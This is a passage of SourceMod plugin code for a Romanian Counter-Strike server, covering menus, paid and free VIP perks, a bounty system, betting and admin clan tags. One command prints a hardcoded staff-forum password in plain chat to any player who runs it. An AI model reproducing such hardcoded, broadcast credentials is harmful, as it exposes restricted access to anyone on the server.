       WikiVip(client);
	}
}

/*-------------------
	Meniu_Aspect
-------------------*/
stock bool Aspect(int client)
{
	if (GetClientTeam(client) == 1 || GetClientTeam(client) == 2 || GetClientTeam(client) == 3)
	{
		Menu meniu_aspect= new Menu(AspectHandler);
		meniu_aspect.SetTitle("----------------\nMeniu Aspect\n----------------");	
		meniu_aspect.AddItem("", "Schimbă Skinul");
		meniu_aspect.AddItem("", "Schimbă Cuțitul");
		meniu_aspect.AddItem("", "Schimbă Mănușile");
		meniu_aspect.ExitBackButton = true;
		meniu_aspect.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int AspectHandler(Menu menu, MenuAction action, int client, int param)
{
	if(action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
       Meniu(client);
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param) 				
		{
			case 0:
			{
				FakeClientCommand(client, "sm_ws");
			}
			case 1:
			{
				FakeClientCommand(client, "sm_knife");
			}
			case 2:
			{
				FakeClientCommand(client, "sm_gloves");
			}
		}
	}
}

/*-----------------------
	Meniu_ComenziUtile	
-----------------------*/
stock bool ComenziUtile(int client)
{
	if (GetClientTeam(client) == 1 || GetClientTeam(client) == 2 || GetClientTeam(client) == 3)
	{
		Menu meniu_meniu= new Menu(ComenziUtileHandler);
		meniu_meniu.SetTitle("----------------\nComenzi Utile\n----------------");
		meniu_meniu.AddItem("", "/owneri - Contact Owneri", ITEMDRAW_DISABLED);
		meniu_meniu.AddItem("", "/discord - Vezi grupul de discord", ITEMDRAW_DISABLED);
		meniu_meniu.AddItem("", "/grup - Vezi grupul de steam", ITEMDRAW_DISABLED);
		meniu_meniu.AddItem("", "/ore - Află câte ore ai", ITEMDRAW_DISABLED);
		meniu_meniu.AddItem("", "/rs - Resetează Scorul", ITEMDRAW_DISABLED);
		meniu_meniu.AddItem("", "/afk - Intră AFK", ITEMDRAW_DISABLED);
		meniu_meniu.AddItem("", "/ws - Alege un skin", ITEMDRAW_DISABLED);
		meniu_meniu.AddItem("", "/knife - Alege un cuțit", ITEMDRAW_DISABLED);
		meniu_meniu.AddItem("", "/gloves - Alege mânuși", ITEMDRAW_DISABLED);
		meniu_meniu.AddItem("", "/rank - Rank-ul tău", ITEMDRAW_DISABLED);
		meniu_meniu.AddItem("", "/top - Top jucători", ITEMDRAW_DISABLED);
		meniu_meniu.AddItem("", "/prețuri - Prețurile de pe server", ITEMDRAW_DISABLED);
		meniu_meniu.AddItem("", "/bet - Pariază", ITEMDRAW_DISABLED);
		meniu_meniu.AddItem("", "/drop - Dropează arma", ITEMDRAW_DISABLED);
		meniu_meniu.AddItem("", "/admins - Listă admini online", ITEMDRAW_DISABLED);
		meniu_meniu.AddItem("", "/vips - Listă vipi online", ITEMDRAW_DISABLED);
		meniu_meniu.ExitBackButton = true;
		meniu_meniu.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int ComenziUtileHandler(Menu menu, MenuAction action, int client, int param)
{
	if(action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
       WikiServer(client);
	}
}

/*-------------------
	Meniu_Online
-------------------*/
stock bool Online(int client)
{
	if (GetClientTeam(client) == 1 || GetClientTeam(client) == 2 || GetClientTeam(client) == 3)
	{
		Menu meniu_online= new Menu(OnlineHandler);
		meniu_online.SetTitle("----------------");	
		meniu_online.AddItem("", "Admini Online");
		meniu_online.AddItem("", "Vipi Online");
		meniu_online.AddItem("", "Înapoi");
		meniu_online.Display(client, MENU_TIME_FOREVER);
		return true;
	}
	return false;
}

public int OnlineHandler(Menu menu, MenuAction action, int client, int param)
{
	if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param) 				
		{
			case 0:
			{
				FakeClientCommand(client, "sm_admins");
			}
			case 1:
			{
				FakeClientCommand(client, "sm_vips");
			}
			case 2:
			{
				MeniuArmament(client);
			}
		}
	}
}
/* Sfârșit meniu jucători */
	
/* Început meniu prețuri */
public Action Comanda_Preturi(int client, int args)
{
	Preturi(client);
	return Plugin_Handled;
}

stock bool Preturi(int client)
{
	if (GetClientTeam(client) == 1 || GetClientTeam(client) == 2 || GetClientTeam(client) == 3)
	{
		Menu meniu_preturi = new Menu(Meniu_preturiHandler);
		meniu_preturi.SetTitle("----------------\nPrețuri\n----------------");	
		meniu_preturi.AddItem("", "V.I.P");
		meniu_preturi.AddItem("", "Altele");
		meniu_preturi.ExitBackButton = true;
		meniu_preturi.Display(client, MENU_TIME_FOREVER);
		return true;
	}

	return false;
}

public int Meniu_preturiHandler(Menu menu, MenuAction action, int client, int param)
{
	if(action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
		WikiServer(client);
	}
	else if(action == MenuAction_Select)
	{
		char select[1024];
		GetMenuItem(menu, param, select, sizeof(select));
		switch (param) 				
		{
			case 0:
			{
				Vip(client);
			}
			case 1:
			{
				Altele(client);
			}
		}
	}
}

stock bool Vip(int client)
{
	if (GetClientTeam(client) == 1 || GetClientTeam(client) == 2 || GetClientTeam(client) == 3)
	{
		Menu meniu_grade = new Menu(Meniu_inapoiHandler);
		meniu_grade.SetTitle("----------------\nV.I.P\n----------------");	
		meniu_grade.AddItem("", "V.I.P Silver ➤ 10€/Permanent", ITEMDRAW_DISABLED);
		meniu_grade.AddItem("", "V.I.P Gold ➤ 20€/Permanent", ITEMDRAW_DISABLED);
		meniu_grade.AddItem("", "V.I.P Diamond ➤ 30€/Permanent", ITEMDRAW_DISABLED);
		meniu_grade.ExitBackButton = true;
		meniu_grade.Display(client, MENU_TIME_FOREVER);
		return true;
	}

	return false;
}	

stock bool Altele(int client)
{
	if (GetClientTeam(client) == 1 || GetClientTeam(client) == 2 || GetClientTeam(client) == 3)
	{
		Menu meniu_grade = new Menu(Meniu_inapoiHandler);
		meniu_grade.SetTitle("----------------\nAltele\n----------------");	
		meniu_grade.AddItem("", "Slot ➤ 5€/Luna", ITEMDRAW_DISABLED);
		meniu_grade.ExitBackButton = true;
		meniu_grade.Display(client, MENU_TIME_FOREVER);
		return true;
	}

	return false;
}	

public int Meniu_inapoiHandler(Menu menu, MenuAction action, int client, int param)
{
	if (action == MenuAction_Cancel && param == MenuCancel_ExitBack)
	{
        FakeClientCommand(client, "sm_preturi");
	}
}
/* Sfârșit meniu prețuri */

/* Început  restricție mapă */

public Action Comanda_ParolaForum(int client, int args)
{
	PrintToChat(client, " \x05[BOT]ESL\x01: Parola categorie \x10Staff Only\x01 este '\x06gollg2k20\x01'!");
}

/* Început sistem vip */
public Action Event_PlayerSpawn(Event event, const char[] name, bool dontBroadcast) 
{
	int from_hr1 = 21, to_hr1 = 24, from_hr2 = 0, to_hr2 = 9;
	char string_hour[8];
	FormatTime(string_hour, sizeof(string_hour), "%H", GetTime());
	int hour = StringToInt(string_hour);
	if(hour >= from_hr1 && hour <= to_hr1)
	{
		for(int client = 1; client<=MaxClients; client++)
		{
			if(IsClientInGame(client))
			{
				CreateTimer(5.0, AnuntVipFree);
				if(!IsClientRealVip(client))
				{
					IsClientFreeVip[client] = true;
					OraVeselaVip = true;
				}
			}
		}
	}
	else if(hour >= from_hr2 && hour <= to_hr2)
	{
		for(int client = 1; client<=MaxClients; client++)
		{
			if(IsClientInGame(client))
			{
				CreateTimer(5.0, AnuntVipFree);
				if(!IsClientRealVip(client))
				{
					IsClientFreeVip[client] = true;
					OraVeselaVip = true;
				}
			}
		}
	}
	else
	{
		OraVeselaVip = false;
	}
	
	int client = GetClientOfUserId(GetEventInt(event, "userid"));
	if (IsFakeClient(client))return;
	
	if(timers[client] != null)
		KillTimer(timers[client]);
		
	timers[client] = CreateTimer(g_time, ReModel, client);
	g_bAfk[client] = true;
	g_iTime[client] = 30;
	if (client)
	{
		if(IsValidClient(client))
		{
			if(IsClientRealVip(client))
			{
				CreateTimer(1.3, ApplySkin, client);
			}
		}
	}
	if(client > 0 && client < MaxClients && IsClientInGame(client) && IsPlayerAlive(client) && !IsFakeClient(client)) 
	{
		if(IsClientFreeVip[client])
		{
			if(GetClientTeam(client) == 2)
			{
				int  RandomModelP = GetRandomInt(1, 4);
				switch(RandomModelP)
				{
					case 1:	
					{
						SetEntityModel(client, "models/player/custom_player/legacy/tm_leet_variantg.mdl");
					}
					case 2:	
					{
						SetEntityModel(client, "models/player/custom_player/legacy/tm_phoenix_varianth.mdl");
					}
					case 3:	
					{
						SetEntityModel(client, "models/player/custom_player/legacy/tm_phoenix_variantf.mdl");
					}
					case 4:	
					{
						SetEntityModel(client, "models/player/custom_player/legacy/tm_phoenix_variantg.mdl");
					}
				}
			}
			else if(GetClientTeam(client) == 3)
			{
				int  RandomModelP = GetRandomInt(1, 4);
				switch(RandomModelP)
				{
					case 1:	
					{
						SetEntityModel(client, "models/player/custom_player/legacy/ctm_sas_variantf.mdl");
					}
					case 2:	
					{
						SetEntityModel(client, "models/player/custom_player/legacy/ctm_fbi_variantf.mdl");
					}
					case 3:	
					{
						SetEntityModel(client, "models/player/custom_player/legacy/ctm_st6_variantk.mdl");
					}
					case 4:	
					{
						SetEntityModel(client, "models/player/custom_player/legacy/ctm_st6_variante.mdl");
					}
				}
			}
		}
		
		if(IsClientFreeVip[client] || IsClientRealVip(client))
		{
			if(Restart)
			{
				RemoveClientGrenades(client);
				RequestFrame(GiveVipSpawnItems, client);
				if(VipSpeedShop[client] == 1 && IsClientRealVip(client))
				{
					SetEntPropFloat(client, Prop_Send, "m_flLaggedMovementValue", 1.1);
				}
			}
		}
		if(IsClientGoldMember[client])
		{
			RemoveClientGrenadesGold(client);
			RequestFrame(GiveVipSpawnItemsGold, client);
		}
		char sName[128];
		GetClientName(client, sName, sizeof(sName));
		for(int i = 0; i < sizeof(DNSRestrict); i++)
		{
			if(StrContains(sName, DNSRestrict[i]) != -1) 
			{
				ReplaceString( sName, sizeof( sName ), DNSRestrict[i], "ESL.GAMELIFE.RO" );
				SetClientName(client, sName);
			}
		}
	}
} 


public Action Event_WeaponReload(Handle event, const char[] name, bool dontBroadcast) 
{
	int client = GetClientOfUserId(GetEventInt(event, "userid"));

	if(IsClientRealVip(client) || IsClientFreeVip[client]) 
	{
		float ReloadTime = GetEntPropFloat(client, Prop_Send, "m_flNextAttack") - GetGameTime();
		CreateTimer(ReloadTime, RefillVipAmmo, client);
	}
}

public Action Event_OutOfAmmo(Handle event, const char[] name, bool dontBroadcast)
{
	int client = GetClientOfUserId(GetEventInt(event, "userid"));

	if(IsClientRealVip(client) || IsClientFreeVip[client])
	{
		CreateTimer(3.84, RefillVipAmmo, client);
	}
}

public Action Event_BulletImpact(Handle event, const char[] name, bool dontBroadcast)
{
	int client = GetClientOfUserId(GetEventInt(event, "userid"));

	if(IsClientRealVip(client) && CanEmitTracers[client])
	{
		char Weapon[64];
		GetClientWeapon(client, Weapon, sizeof(Weapon));
		if(StrContains(Weapon, "awp") != -1 || StrContains(Weapon, "ssg08") != -1)
		{
			float _fPosition[3], _fImpact[3];
			GetClientEyePosition(client, _fPosition);
			_fImpact[0] = GetEventFloat(event, "x");
			_fImpact[1] = GetEventFloat(event, "y");
			_fImpact[2] = GetEventFloat(event, "z");

			if(GetClientTeam(client) == 2)
			{
				TE_SetupBeamPoints(_fPosition, _fImpact, TracerModel, 0, 0, 0, 1.0, 1.0, 1.0, 1, 0.0, {255, 0, 0, 255}, 0);
				TE_SendToAll();
			}
			else
			{
				TE_SetupBeamPoints(_fPosition, _fImpact, TracerModel, 0, 0, 0, 1.0, 1.0, 1.0, 1, 0.0, {0, 0, 255, 255 }, 0);
				TE_SendToAll();
			}
		}
	}
}

public Action RefillVipAmmo(Handle timer, any client) 
{
	if(IsClientInGame(client) && IsPlayerAlive(client)) 
	{
		int weapon = GetEntPropEnt(client, Prop_Data, "m_hActiveWeapon");

		if(weapon > 0 && (weapon == GetPlayerWeaponSlot(client, 0) || weapon == GetPlayerWeaponSlot(client, 1)))
		{
			int WeaponArray;

			char Classname[4];
			Format(Classname, 4, "%i", GetEntProp(weapon, Prop_Send, "m_iItemDefinitionIndex"));

			if(GetTrieValue( Weapon_Trie, Classname, WeaponArray)) 
			{
				if( GetReserveAmmo(weapon) != WeaponArray) 
				{
					SetEntProp(weapon, Prop_Send, "m_iPrimaryReserveAmmoCount", WeaponArray);
				}
			}
		}
	}
}

public Action EventItemPickup2(int client, int weapon) 
{
	if(weapon == GetPlayerWeaponSlot(client, 0) || weapon == GetPlayerWeaponSlot(client, 1)) 
	{
		int WeaponArray;
		char Classname[4];

		Format(Classname, 4, "%i", GetEntProp(weapon, Prop_Send, "m_iItemDefinitionIndex"));

		if(!GetTrieValue(Weapon_Trie, Classname, WeaponArray)) 
		{
			WeaponArray = GetEntProp(weapon, Prop_Send, "m_iPrimaryReserveAmmoCount");
			SetTrieValue(Weapon_Trie, Classname, WeaponArray);
		}
	}
}

public void GiveVipSpawnItemsGold(int client) 
{
	if(client > 0 && client < MaxClients && IsClientGoldMember[client]) 
	{
		SetEntProp(client, Prop_Send, "m_ArmorValue", 100);
		
		if(GetEntProp(client, Prop_Send, "m_iAmmo", _, 15) == 0 && GetClientGrenades(client) < GetConVarInt(FindConVar("ammo_grenade_limit_total")))
		{
			GivePlayerItem(client, "weapon_flashbang");
			GivePlayerItem(client, "weapon_flashbang");
		}
		else if(GetEntProp(client, Prop_Send, "m_iAmmo", _, 15) == 1 && GetClientGrenades(client) < GetConVarInt(FindConVar("ammo_grenade_limit_total")))
		{
			GivePlayerItem(client, "weapon_flashbang");
		}
	}
}

public void GiveVipSpawnItems(int client) 
{
	if(client > 0 && client < MaxClients && IsClientInGame(client)) 
	{
		if(RoundsPassed > 1 && GameRules_GetProp("m_bWarmupPeriod") == 0 && MoneyOffset != -1 && IsClientRealVip(client)) 
		{
			SetEntProp(client, Prop_Send, "m_iAccount", GetEntProp(client, Prop_Send, "m_iAccount") + bani_inceput_runda);
		}

		SetEntProp(client, Prop_Send, "m_ArmorValue", 100);
		
		if(RoundsPassed > 1)
		{
			SetEntProp(client, Prop_Send, "m_bHasHelmet", 1);
		}
		
		if(GetClientTeam(client) == 3 && GetEntProp(client, Prop_Send, "m_bHasDefuser") < 1) 
		{
			SetEntProp(client, Prop_Send, "m_bHasDefuser", 1);
		}

		GivePlayerItem(client, "weapon_hegrenade");
		GivePlayerItem(client, "weapon_flashbang");
		GivePlayerItem(client, "weapon_flashbang");
		GivePlayerItem(client, "weapon_smokegrenade");
		if(GetClientTeam(client) == 2)
		{
			GivePlayerItem(client, "weapon_molotov");
		}
		else if(GetClientTeam(client) == 3) 
		{
			GivePlayerItem(client, "weapon_incgrenade");
		}
	}
}

public Action Event_RoundEndBounty(Event event, const char[] name, bool dontBroadcast) 
{
	RoundsPassed++;
	if(RoundsPassed == 1) 
	{
		GiveawayCooldownBounty = 5;
	}
	else if(GiveawayCooldownBounty == 0) 
	{
		GiveawayCooldownBounty = 5;
		ChooseRandomBounty();
	}
	else 
	{
		GiveawayCooldownBounty--;
	}
	if(GameRules_GetProp("m_bWarmupPeriod") == 0 && !Restart) 
	{
		char getinfo[256];
		GetCurrentMap(getinfo, sizeof(getinfo));
		int JucatoriConnectati = 0;
		RoundsPassed = 1;
		for(int i = 1; i<MaxClients; i++) 
		{
			if(IsClientInGame(i) && !IsFakeClient(i)) 
			{
				JucatoriConnectati++;
			}
		}
		ServerCommand("mp_restartgame 1");
		Restart = true;
		PrintToChatAll(" \x08\x10★\x08 ------------------------------------------ \x10★\x08");
		PrintToChatAll(" \x05[BOT]ESL\x01: Am dat restart la rundă și am verificat serverul cu succes!");
		PrintToChatAll("Jucători conectați: \x06%d \x01/ \x0640\x01.", JucatoriConnectati);
		PrintToChatAll("Mapa curentă: \x06%s\x01.", getinfo);
		PrintToChatAll("OverTime: \x06activ\x01.");
		PrintToChatAll("AutoDemo: \x06activ\x01.");
		PrintToChatAll(" \x10Mult noroc la fraguri și distreză-te!!!");
		PrintToChatAll(" \x08\x10★\x08 ------------------------------------------ \x10★\x08");
	}
}

public Action Event_RoundEndVip(Event event, const char[] name, bool dontBroadcast) 
{ 	
	RoundsPassed++;
	for(int i = 1; i < MaxClients; i++) 
	{
		if(IsClientInGame(i)) 
		{
			IsClientFreeVip[i] = false;
		}
	}
	if(!OraVeselaVip)
	{
		if(RoundsPassed == 1) 
		{
			GiveawayCooldown = 3;
		}
		else if(GiveawayCooldown == 0) 
		{
			GiveawayCooldown = 3;
			ChooseRandomVIP();
		}
		else 
		{
			GiveawayCooldown--;
		}
	}
}

public Action Event_RoundEnd(Event event, const char[] name, bool dontBroadcast) 
{
	LeaderAnnounce();
	int iWinner = GetEventInt(event, "winner");
	for(int i = 1; i <= MaxClients; i++)
	{
		if(IsClientInGame(i) && g_bPlayerBet[i])
		{
			if(iWinner == g_iPlayerBetData[i][BET_TEAM])
			{
				SetMoney(i,GetMoney(i) + g_iPlayerBetData[i][BET_AMOUNT] + g_iPlayerBetData[i][BET_WIN]);
				PrintToChat(i, " \x05[BOT]ESL\x01: \x09Felicitări\x01! Ai avut noroc și ai câștigat \x06%d$\x01.", g_iPlayerBetData[i][BET_WIN]);
			}
			else
			{
				PrintToChat(i, " \x05[BOT]ESL\x01: Nu ai avut noroc și ai pierdut \x0F%d$\x01.", g_iPlayerBetData[i][BET_AMOUNT]);
			}
		}
		g_bPlayerBet[i] = false;		
	}
}

public Action Event_MapEnd(Event event, const char[] name, bool dontBroadcast) 
{
	char map[PLATFORM_MAX_PATH];
	GetNextMap(map, sizeof(map));
	GetMapDisplayName(map, map, sizeof(map));
	PrintToChatAll(" \x05[BOT]ESL\x01: Următoarea mapă este\x10 %s\x01.", map);
}

public Action Event_PhaseEnd(Event event, const char[] name, bool dontBroadcast) 
{ 
	RoundsPassed = 1;
	GiveawayCooldown = 3;
	GiveawayCooldownBounty = 5;
}

public void ChooseRandomBounty() 
{
	int EligiblePlayersBounty[MAXPLAYERS + 1];
	int TotalElegiblePlayersBounty;

	for(int i = 1; i < MaxClients; i++) 
	{
		if(IsElegibleForBounty(i)) 
		{
			EligiblePlayersBounty[TotalElegiblePlayersBounty++] = i; 
		}
	}

	if(TotalElegiblePlayersBounty > 0) 
	{
		int PBounty = EligiblePlayersBounty[GetRandomInt(0, TotalElegiblePlayersBounty-1)];
		int CBounty = GetRandomInt(10, 50);	
		IsClientBounty[PBounty] = true;
		PrintToChatAll(" \x05[BOT]ESL\x01: Cine îl omoară pe\x10 %N\x01 câștigă\x06 %i credite \x01![\x10Bounty System\x01]", PBounty, CBounty);
		stockbounty = CBounty;
	}
	else 
	{
		PrintToChatAll(" \x05[BOT]ESL\x01: Nu am putut să pun bounty.[\x10Bounty System\x01]");
	}
}

public void ChooseRandomVIP() 
{
	int EligiblePlayers[MAXPLAYERS + 1];
	int TotalElegiblePlayers;

	for(int i = 1; i < MaxClients; i++) 
	{
		if(IsElegibleForFreeVip(i)) 
		{
			EligiblePlayers[TotalElegiblePlayers++] = i; 
		}
	}

	if(TotalElegiblePlayers > 0) 
	{
		int Vips = EligiblePlayers[GetRandomInt(0, TotalElegiblePlayers-1)];
		IsClientFreeVip[Vips] = true;

		PrintToChatAll(" \x05[BOT]ESL\x01: Inițiez un nou GiveAway pentru \x06V.I.P FREE\x01.");
		PrintToChatAll(" \x05[BOT]ESL\x01: Jucâtorul\x10 %N\x01 a câștigat\x06 V.I.P FREE \x01timp de o rundă!", Vips);
	}
	else 
	{
		PrintToChatAll(" \x05[BOT]ESL\x01: Din păcate niciun jucător online, nu a câștigat acest giveaway!");
	}
}

public Action OnTakeDamage(int victim, int &attacker, int &inflictor, float &damage, int &damagetype)
{
	if(attacker > 0 && attacker < MaxClients && victim > 0 && victim < MaxClients && IsClientInGame(attacker) && IsClientInGame(victim) && attacker != victim) 
	{
		if(inflictor > 0 && inflictor < MaxClients && IsClientInGame(inflictor) && IsClientRealVip(attacker))
		{
			damage = (damage * 1.1);
			return Plugin_Changed;
		}
	}
	return Plugin_Continue;
}

public Action CS_OnBlindPlayer(int client, int attacker, int inflictor)
{ 
	if(IsValidClient(client) && IsClientRealVip(client))
	{
		if(GetClientTeam(client) == GetClientTeam(attacker))
		{
			return Plugin_Stop;
		}
	}
	if(GetClientTeam(client) == GetClientTeam(attacker) && (client != attacker))
	{
		return Plugin_Stop;
	}
	return Plugin_Continue; 
}
stock int GetClientGrenades(int client) 
{
	int Explosive = GetEntProp(client, Prop_Send, "m_iAmmo", _, 14);
	int Flash = GetEntProp(client, Prop_Send, "m_iAmmo", _, 15);
	int Smoke = GetEntProp(client, Prop_Send, "m_iAmmo", _, 16);
	int Incendiary = GetEntProp(client, Prop_Send, "m_iAmmo", _, 17);
	int Decoy = GetEntProp(client, Prop_Send, "m_iAmmo", _, 18);

	return Explosive + Flash + Smoke + Incendiary + Decoy;
}

stock void RemoveClientGrenadesGold(int client)
{
	SetEntProp(client, Prop_Send, "m_iAmmo", 0, _, 15);
}

stock void RemoveClientGrenadesDiamond(int client)
{
	SetEntProp(client, Prop_Send, "m_iAmmo", 0, _, 15);
	SetEntProp(client, Prop_Send, "m_iAmmo", 0, _, 14);
}

stock void RemoveClientGrenades(int client)
{
	int iEnt;
	while ((iEnt = GetPlayerWeaponSlot(client, 3)) != -1)
	{
		RemovePlayerItem(client, iEnt);
		AcceptEntityInput(iEnt, "Kill");
	}
}

stock int GetReserveAmmo(int weapon)
{
	return GetEntProp(weapon, Prop_Send, "m_iPrimaryReserveAmmoCount");
}

public Action OnPlayerRunCmd(int client, int &buttons, int &impulse, float vel[3], float angles[3], int &weapon)
{
	if(SwitchDJ[client] == 1)
	{
		if(IsClientRealVip(client) && IsPlayerAlive(client) && vipdoubleshop[client]) // Double Jump
		{
			static int g_fLastButtons[MAXPLAYERS + 1], g_fLastFlags[MAXPLAYERS + 1], g_iJumps[MAXPLAYERS + 1], fCurFlags, fCurButtons;
			fCurFlags = GetEntityFlags(client);
			fCurButtons = GetClientButtons(client);
			if (g_fLastFlags[client] & FL_ONGROUND && !(fCurFlags & FL_ONGROUND) && !(g_fLastButtons[client] & IN_JUMP) && fCurButtons & IN_JUMP)g_iJumps[client]++;
			else if (fCurFlags & FL_ONGROUND)g_iJumps[client] = 0;
			else if (!(g_fLastButtons[client] & IN_JUMP) && fCurButtons & IN_JUMP && g_iJumps[client] == 1)
			{
				g_iJumps[client]++;
				float vVel[3];
				GetEntPropVector(client, Prop_Data, "m_vecVelocity", vVel);
				vVel[2] = 250.0;
				TeleportEntity(client, NULL_VECTOR, NULL_VECTOR, vVel);
			}
			
			g_fLastFlags[client] = fCurFlags;
			g_fLastButtons[client] = fCurButtons;
		}
	}
	else
	{
		if(warnbhop[client] >= 0 && warnbhop[client] < 3)
		{
			if((IsClientRealVip(client) && CanBhop[client]) || BhopShop[client] == 1) // Bhop
			{
				if( buttons & IN_JUMP && IsPlayerAlive(client) && !(GetEntityFlags(client) & FL_ONGROUND) && !(GetEntityMoveType(client) & MOVETYPE_LADDER))
				{
					buttons &= ~IN_JUMP;
				}
			}
		}
	}
	if(g_bAfk[client] && IsPlayerAlive(client) && !IsFakeClient(client)) // Afk
	{
		if(buttons && !(buttons & IN_LEFT || buttons & IN_RIGHT))
		{
			g_bAfk[client] = false;
			g_iLimit[client] = 0;
		}
	}
	return Plugin_Continue;
}

/* Început tag în tab */
public Action checkTag(Handle event, char[] name, bool dontBroadcast)
{
	CreateTimer(0.1, DelayCheck);
	return Action;
}

public Action DelayCheck(Handle timer) 
{
	for(int client = 1; client <= MaxClients; client++) if(IsClientInGame(client))
	{
		if (0 < client)
		{
			HandleTag(client);
		}
	}
	return Action;
}

public int HandleTag(int client)
{
	char steamId[64];
	GetClientAuthId(client, AuthId_SteamID64, steamId, sizeof(steamId));
	if (StrEqual(steamId, "765611980349709"))
	{
		CS_SetClientClanTag(client, "[DEV]");
	}
	AdminId admin = GetUserAdmin(client);
	if (admin != INVALID_ADMIN_ID)
	{
		char sGroup[32];
		if ((GetAdminGroup(admin, 0, sGroup, sizeof(sGroup)) != INVALID_GROUP_ID))
		{
			if(TagTabMeniu[client] && (StrEqual(sGroup, "Owner+V.I.P") || StrEqual(sGroup, "Owner")))
			{
				CS_SetClientClanTag(client, "[Owner]");
			}
			else if(TagTabMeniu[client] && (StrEqual(sGroup, "Co-Owner+V.I.P") || StrEqual(sGroup, "Co-Owner")))
			{
				CS_SetClientClanTag(client, "[Co-Owner]");
			}
			else if(TagTabMeniu[client] && (StrEqual(sGroup, "Supervizor+V.I.P") || StrEqual(sGroup, "Supervizor")))
			{
				CS_SetClientClanTag(client, "[Supervizor]");
			}
			else if(TagTabMeniu[client] && (StrEqual(sGroup, "Administrator+V.I.P") || StrEqual(sGroup, "Administrator")))
			{
				CS_SetClientClanTag(client, "[Administrator]");
			}
			else if(TagTabMeniu[client] && (StrEqual(sGroup, "Moderator+V.I.P") || StrEqual(sGroup, "Moderator")))
			{
				CS_SetClientClanTag(client, "[Moderator]");
			}
			else if(TagTabMeniu[client] && (StrEqual(sGroup, "Helper+V.I.P") || StrEqual(sGroup, "Helper")))
			{
				CS_SetClientClanTag(client, "[Helper]");
			}
			else if(TagTabMeniu[client] && StrEqual(sGroup, "V.I.P"))
			{
				CS_SetClientClanTag(client, "[V.I.P]");
			}
			else if(TagTabMeniu[client] && (StrEqual(sGroup, "Miss+V.I.P") || StrEqual(sGroup, "Miss")))
			{
				CS_SetClientClanTag(client, "[Miss]");
			}
			else if(TagTabMeniu[client] && (StrEqual(sGroup, "Slot+V.I.P") || StrEqual(sGroup, "Slot")))
			{
				CS_SetClientClanTag(client, "[Slot]");
			}
		}
	}
}

public void OnClientSettingsChanged(int client)
{
	char sName[MAX_NAME_LENGTH];
	GetClientName(client, sName, MAX_NAME_LENGTH);
	for(int i = 0; i < sizeof(DNS); i++)
	{
		if(StrContains(sName, DNS[i], false) > -1)
		{
			IsClientGoldMember[client] = true;
		}
		else
		{
			IsClientGoldMember[client] = false;
		}
	}
	if(client > 0 && client < MaxClients && IsClientInGame(client))
	{
		AdminId ClientAccess = GetUserAdmin(client);
		
		if(ClientAccess)
		{
			char steamId[64];
			GetClientAuthId(client, AuthId_SteamID64, steamId, sizeof(steamId));
			if (StrEqual(steamId, "7656119803497048"))
			{
				CS_SetClientClanTag(client, "[DEV]");
			}
			int AdminGroupsCount = GetAdminGroupCount(ClientAccess);
			for(int i = 0; i < AdminGroupsCount; i++)
			{
				char GroupBuffer[64];
				if((GetAdminGroup(ClientAccess, i, GroupBuffer, sizeof(GroupBuffer)) != INVALID_GROUP_ID)) 
				{
					char CurrentTag[16];
					CS_GetClientClanTag(client, CurrentTag, sizeof(CurrentTag));
					if(!StrEqual(CurrentTag, GroupBuffer))
					{
						if(TagTabMeniu[client] && (StrEqual(GroupBuffer, "Owner+V.I.P") || StrEqual(GroupBuffer, "Owner")))
						{
							CS_SetClientClanTag(client, "[Owner]");
						}
						else if(TagTabMeniu[client] && (StrEqual(GroupBuffer, "Co-Owner+V.I.P") || StrEqual(GroupBuffer, "Co-Owner")))
						{
							CS_SetClientClanTag(client, "[Co-Owner]");
						}
						else if(TagTabMeniu[client] && (StrEqual(GroupBuffer, "Supervizor+V.I.P") || StrEqual(GroupBuffer, "Supervizor")))
						{
							CS_SetClientClanTag(client, "[Supervizor]");
						}
						else if(TagTabMeniu[client] && (StrEqual(GroupBuffer, "Administrator+V.I.P") || StrEqual(GroupBuffer, "Administrator")))
						{
							CS_SetClientClanTag(client, "[Administrator]");
						}
						else if(TagTabMeniu[client] && (StrEqual(GroupBuffer, "Moderator+V.I.P") || StrEqual(GroupBuffer, "Moderator")))
						{
							CS_SetClientClanTag(client, "[Moderator]");
						}
						else if(TagTabMeniu[client] && (StrEqual(GroupBuffer, "Helper+V.I.P") || StrEqual(GroupBuffer, "Helper")))
						{
							CS_SetClientClanTag(client, "[Helper]");
						}
						else if(TagTabMeniu[client] && (StrEqual(GroupBuffer, "[V.I.P]")))
						{
							CS_SetClientClanTag(client, "[V.I.P]");
						}
						else if(TagTabMeniu[client] && (StrEqual(GroupBuffer, "Miss+V.I.P") || StrEqual(GroupBuffer, "Miss")))
						{
							CS_SetClientClanTag(client, "[Miss]");
						}
						else if(TagTabMeniu[client] && (StrEqual(GroupBuffer, "Slot+V.I.P") || StrEqual(GroupBuffer, "Slot")))
						{
							CS_SetClientClanTag(client, "[Slot]");
						}
					}
				}
			}
		}
	}
}

public Action Timer_CooldownSaySound(Handle timer)
{
    Cooldown_SaySounds = false;
}

public Action OnClientSayCommand(int client, const char[] command, const char[] args)
{ 
	char name [MAX_NAME_LENGTH];
	GetClientName(client, name, sizeof(name));
	
	if(IsChatTrigger())
		return Plugin_Handled;
	if(args[0] == '@')
		return Plugin_Handled;
	if(IsValidClient(client) && BaseComm_IsClientGagged(client))
	{
		PrintToChat(client, " \x05[BOT]ESL\x01: \x10Nu poți scrie pe chat, ai gag!");
		return Plugin_Handled;
	}
	char steamId[64];
	GetClientAuthId(client, AuthId_SteamID64, steamId, sizeof(steamId));
	
	for(int j = 0; j < sizeof(SaySounds); ++j)
	{
		if(StrEqual(args, SaySounds[j]) && IsClientRealVip(client))
		{
			if(BlocareSaySounds[client] == 0)
			{
				if(!Cooldown_SaySounds)
				{
					BlocareSaySounds[client] = 1;
					for (int i = 1; i <= MaxClients; i++)  
					{  
						if(IsClientInGame(i) && OnOfSaySounds[i])
						{  
							ClientCommand(i, "play \"*xsag/sunete/say/%s.mp3\"", SaySounds[j]);
							CreateTimer(10.0, Timer_CooldownSaySound);
							Cooldown_SaySounds = true;
						}
					}
				}
				else
				{
					PrintToChat(client, " \x05[BOT]ESL\x01: Trebuie să aștepți \x10 10\x01 secunde după ce a fost folosit cineva un sunet.");
				}
			}
			else
